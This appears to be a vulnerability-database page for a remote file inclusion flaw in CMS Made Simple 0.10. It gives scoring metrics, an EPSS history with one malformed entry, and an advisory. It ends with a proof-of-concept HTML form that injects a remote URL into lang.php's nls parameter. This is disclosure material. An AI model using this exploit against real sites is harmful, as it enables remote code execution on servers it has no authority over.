CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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PHP remote file inclusion vulnerability in lang.php in CMS Made Simple 0.10 and earlier allows remote attackers to execute arbitrary PHP code via the nls[file][vx][vxsfx] parameter.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
5.94%
–
2023-09-03
–
–
–
5.94%
–
2023-12-31
–
–
–
7.05%
–
2024-02-11
–
–
–
7.05%
–
2024-06-02
–
–
–
7.05%
–
2024-08-25
–
–
–
6.18%
–
2024-12-22
–
–
–
2.66%
–
2025-03-16
–
–
–
2.48%
–
2025-01-19
–
–
–
2.66%
–
2025-03-18
–
–
–
–
1.97%
2025-03-30
–
–
–
–
1.5%
2025-04-06
–
–
–
–
1.5%
2025-04-06
–
–
–
–
1.5,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/14709/info
CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
CMS Made Simple Version .10 and all prior versions are reported vulnerable.
example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF